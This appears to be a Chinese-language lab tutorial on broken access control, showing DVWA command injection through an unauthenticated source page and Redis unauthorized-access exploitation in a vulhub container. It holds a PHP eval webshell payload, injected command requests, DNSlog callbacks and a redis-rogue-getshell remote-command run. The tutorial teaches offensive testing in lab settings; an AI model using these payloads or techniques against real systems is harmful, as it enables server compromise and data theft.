失效的访问控制及漏洞复现

失效的访问控制(越权)

1. 失效的访问控制(越权)

1.1 OWASP TOP10

1.1.1 A5:2017-Broken Access Control

未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

1.1.2 A01:2021-Broken Access Control

访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。

1.2 失效的访问控制类别

权限移动方向

1.2.1 水平越权

越权:大概率指的是在同级别账户之间横向移动,并且大概率指的是web应用

1.2.2 垂直越权

提权:大概率指的是操作系统漏洞提权,普通用户获取管理员权限

1.3 攻防案例

1.3.1 DVWA越权

POST /dvwa_2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1 Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.111.15/dvwa_2.0.1/vulnerabilities/exec/source/
Connection: close
Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded Content-Length: 77ip=127.0.0.0.1|echo+"<?php+@eval($_REQUEST[777])?>"+>+shell.php&Submit=Submit
1.3.1.1 实操

在部署了DVWA的服务器中打开C盘->打开phpstudy->打开WWW->打开DV,我们关心的是config(全局配置),hackable(在hackable中有flags<被包含的文件>,upload<上传的文件>),vulnerabilities(漏洞点)

启动bp,打开浏览器访问DVWA,点击命令注入(Commod Injection) 进行命令注入,输入127.0.0.1

使用bp进行抓包,抓取命令注入的数据包,发送重发器

image-20230901162109602

发现结果执行了ping命令,ping的是127.0.0.1,说明此处有命令拼接,可执行额外的命令。做命令拼接执行命令的逻辑

command1 & command2		#执行command1命令没有问题的时候再执行command2
command1 | command2		#管道符执行command1的结果作为command2的输入
command1 || command2	#command1执行失败则执行command2,command1执行成功则不执行command2
command1 ; command2		#command1执行结束再执行command2

执行额外命令,使用&进行分隔因为原本数据包中已有&,那么进行命令分隔的&需要进行url编码,选中分隔命令的&按Ctrl+u

image-20230901163917755

image-20230901164127912

点击发送(send)

image-20230901164443041

发现cookie中security的值是low,说明是初级的;承载初级的脚本在vulnerabilities下的exec中的source文件中

image-20230901164829923

打开low.php查看源代码,整个文件没有做访问控制限制,也就是说在退出登录的情况下依然能访问low.php。

image-20230901165454976

复制low.php的路径,退出DVWA登陆,访问

http://192.168.16.136/dv/vulnerabilities/exec/source/low.php

image-20230901165817182

界面为空,针对这个界面就可以进行命令执行。bp找到当前页面的数据包,发送重发器,点击发送(send),页面没有做任何响应。

image-20230901170049576

删除cookie并将数据提交方式改为POST(右键点击Change request method)同时传两个变量:ip=127.0.0.1%26whoami&Submit=Submit。首先给一个submit保证绕过low.php代码中的if判断,再给个IP就可以进行ping命令的拼接。但是数据包的响应无回显。

image-20230901170843407

返回的结果也无法判断命令执行成功与否,将whoami命令更换为calc(打开计算器),部署dvwa靶场的服务器中弹出计算器,说明命令执行成功。

image-20230901171204916

dvwa要求是需要用户登录的情况下才能回答dvwa里的题目,但是我们刚才的操作时不用登录就回答了dvwa里的题目,虽然没有回显,但是漏洞检测的时候只关心命令是否执行,只要命令执行了,不管有没有回显就说明此处就是未授权访问漏洞(失效的访问控制。)

1.3.1.2 使用漏洞写webshell

执行

echo xujie >xujie.txt

image-20230901173405179

来到/exec/source目录下,有新建的xujie.txt文件。

image-20230901173600728

image-20230901173650253

一般在目标某一目录下新建文件,动作会比较大,使用dnslog.cn平台点击创建域名,对域名进行解析

nslookup 域名

image-20230901174307134

image-20230901174451215

image-20230901174932455

image-20230901175016716

解析完成后查看dnslog.cn平台有没有解析记录,如果有解析记录说明nslookup执行成功了。

创建一句话木马

echo "<?php @eval($_REQUEST[777])?>" >shell.php

image-20230901175639502

image-20230901175803008

访问shell.php,然后使用蚁剑连接

image-20230901180420500

image-20230901180523715

1.4 相关漏洞

1.4.1 目录遍历

目录穿越,目录遍历,Directory Traversal。.Web用户,通过某种方式,可以访问Web根目录以外的文件甚至执行系统命令。

造成目录遍历漏洞的原因:

  • 文件包含
  • 文件读取
  • RCE

1.4.2 未授权访问

未授权访问,Unauthorized Access。==重要资产根本没有做访问控制限制,==导致黑客攻击者可以在没有授权的情况下操作重要资产,包括读写文件,执行命令等敏感操作。

2. 未授权访问

2.1 Redis 未授权访问

不使用账号密码的情况下访问数据库,Redis 未授权:由于数据库未授权访问了,导致敏感数据泄露;数据库能够读写文件,利用未授权访问漏洞进行漏洞攻击的话就可以去写shell,创建SSH公钥,计划任务反弹shell;

2.1.1 Redis 介绍

Redis是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。

Redis数据库经常用于Web应用的缓存。

Redis可以与文件系统进行交互。

Redis监听TCP/6379

Redis数据库端口号:6379

2.1.2 Redis 简单使用

Redis 未设置密码,客户端工具可以直接链接。

┌──(ajest�� zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1 127.0.0.1:6379> set name AJEST OK
127.0.0.1:6379> get name "AJEST"
127.0.0.1:6379> config set dir /tmp/
OK
127.0.0.1:6379> config set dbfilename ajest.txt OK
127.0.0.1:6379> save OK
127.0.0.1:6379>

2.1.3 Redis 未授权访问

读取数据库内容读写系统文件执行系统命令
数据泄露直接写WebShell
计划任务反弹shell
SSH免密登录
redis-rogue-getshell

2.2 Redis 实操

2.2.1 环境搭建

CD到/vulhub/redis/4-unacc目录下,输入

sudo docker-compose up -d

打开Redis环境

image-20230901194738297

2.2.2 漏洞利用

sudo docker ps -a

查看端口号

image-20230901195308070

输入

redis-cli -h 127.0.0.1		#-h指定参数,连接本机的reids数据库

在没有账号密码的情况下直接连上了redis数据库。说明数据库存在未授权访问漏洞。

image-20230901195442400

redis数据库是以键值对进行存储数据的。就可以将redis数据库想象成一个超大的数组。redis数据库经常做缓存。

config set dir /tmp/
config set dbfilename xujie.txt		#将数据库存储在xujie.txt文件中,这个文件在tmp下

image-20230901201448743

因为连接的是docker容器的数据库,CD到容器中查看创建的数据库是否存在。

sudo docker exec -it 9a4f956818dc /bin/bash		#-it是指容器的id,/bin/bash是指登录到9a4f956818dc这个容器

为了证明创建的数据库是否存在并且具有读写权限。

ls /tmp
cat /tmp/xujie.txt

image-20230901201611494

4-unacc存在主从复制漏洞,而主从复制是可以执行系统命令的,执行系统命令需要一个Exploit脚本

image-20230901202645978

cd tools
proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git

image-20230901203715677

cd redis-rogue-getshell
cd RedisModulesSDK 
make
cd ..
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "id"

image-20230901204950627

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.16.175 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

image-20230901205054316

此处可以针对数据库的漏洞进行漏洞利用

2.2.3 漏洞检测

利用工具unauthorized用与检测未授权访问漏洞。一共提供了三十八种漏洞检测

cd ~/tools
ls 
cd unauthorized_com 
python3 unauthorized_com.py -i 127.0.0.1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/97887.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

链路追踪Skywalking应用实战

目录 1 Skywalking应用2 agent下载3 agent应用3.1 应用名配置3.2 IDEA集成使用agent3.3 生产环境使用agent 4 Rocketbot4.1 Rocketbot-仪表盘4.2 Rocketbot-拓扑图4.3 追踪4.4 性能分析4.5 告警4.5.1 警告规则详解4.5.2 Webhook规则4.5.3 自定义Webhook消息接收 1 Skywalking应…

Web前端开发概述

Web&#xff08;World Wide Web&#xff0c;全球广域网&#xff09;是指一种基于互联网的信息系统&#xff0c;通过超文本链接将全球各地的文档、图像、视频等资源相互关联起来&#xff0c;并通过Web浏览器进行交互浏览和访问。Web的发展使得人们可以方便地获取和共享各种类型的…

面试总结 - 计算机网络

计算机网络 1 OSI 七层模型 | TCP与UDP | 响应状态码 OSI 模型 应用层: 计算机用户&#xff0c;以及各种应用程序和网络之间的接口&#xff0c;其功能是直接向用户提供服务&#xff0c;完成用户希望在网络上完成的各种工作。 HTTP SMTP FTP DNS 表示层: 负责数据格式的转换&…

【内网穿透】使用Nodejs搭建简单的HTTP服务器 ,并实现公网远程访问

目录 前言 1.安装Node.js环境 2.创建node.js服务 3. 访问node.js 服务 4.内网穿透 4.1 安装配置cpolar内网穿透 4.2 创建隧道映射本地端口 5.固定公网地址 前言 Node.js 是能够在服务器端运行 JavaScript 的开放源代码、跨平台运行环境。Node.js 由 OpenJS Foundation…

一种结合白平衡统计信息和曝光信息的软光敏算法专利学习(专利三)

基础理论&#xff1a; 亮度计算&#xff1a; 对于白天模式而言&#xff0c;IR滤光片处于过滤红外光的状态&#xff0c;也就是说&#xff0c;摄像机的感光芯片所感受到的环境光中的红外光几乎为零&#xff1b;而对于夜晚模式而言&#xff0c;IR滤光片处于不过滤红外光的状态&am…

什么是瓷片电容封装 | 百能云芯

瓷片电容封装是一种常见的电子元件封装方式&#xff0c;它广泛应用在电子设备中&#xff0c;用于存储和释放电荷&#xff0c;以实现电路的稳定工作。在本文中&#xff0c;我们将详细介绍瓷片电容封装的特点以及用途。 瓷片电容封装的特点&#xff1a; 瓷片电容是一种以陶瓷材料…

VB.NET 如何将某个Excel的工作表中复制到另一个的Excel中的工作表中https://bbs.csdn.net/topics/392861034

参考http://share.freesion.com/306372/可以实现直接拷贝指定表 Private Sub Excel复制工作簿()Dim myExcelApp As New Microsoft.Office.Interop.Excel.ApplicationmyExcelApp.Workbooks.Open(System.Environment.CurrentDirectory "\\测试用例.xlsx", Type.Missin…

Liunx远程调试

1、Vscode中使用xdebug调试php 2、工具的下载 3、debug的配置 1、Vscode中使用xdebug调试php 1&#xff0c;在phpstudy中启用xdebug扩展 2&#xff0c;打开php.ini&#xff0c;修改配置 [Xdebug] zend_extensionD:/PHP/Extensions/php/php5.6.9nts/ext/php_xdebug.dll xdebug…

OpenWrt编译自己的应用程序

编译OpenWrt的应用程序可以参考OpenWrt内部其他应用程序的例程&#xff0c;来编写成自己的应用程序 一、OpenWrt源代码获取与编译 1.1、搭建环境 下载OpenWrt的官方源码&#xff1a; git clone https://github.com/openwrt/openwrt.git1.2、安装编译依赖项 sudo apt update…

【python爬虫】16.爬虫知识点总结复习

文章目录 前言爬虫总复习工具解析与提取&#xff08;一&#xff09;解析与提取&#xff08;二&#xff09;更厉害的请求存储更多的爬虫更强大的爬虫——框架给爬虫加上翅膀 爬虫进阶路线指引解析与提取 存储数据分析与可视化更多的爬虫更强大的爬虫——框架项目训练 反爬虫应对…

vue3 判断包含某个字符

<img v-if"node.level 1 && checkIfIncludeSubStr(node.label, 人口)"src"/assets/images/icon-convention-01.png" width"16"class"inlineBlock Vmiddle" style"margin-right: 8px;"/>const data reactive…

【Sentinel】ProcessorSlotChain处理器插槽链与Node

文章目录 1、Sentinel的基本概念2、ProcessorSlotChain3、Node 1、Sentinel的基本概念 Sentinel实现限流、隔离、降级、熔断等功能&#xff0c;本质要做的就是两件事情&#xff1a; 统计数据&#xff1a;统计某个资源的访问数据&#xff08;QPS、RT等信息&#xff09;规则判断…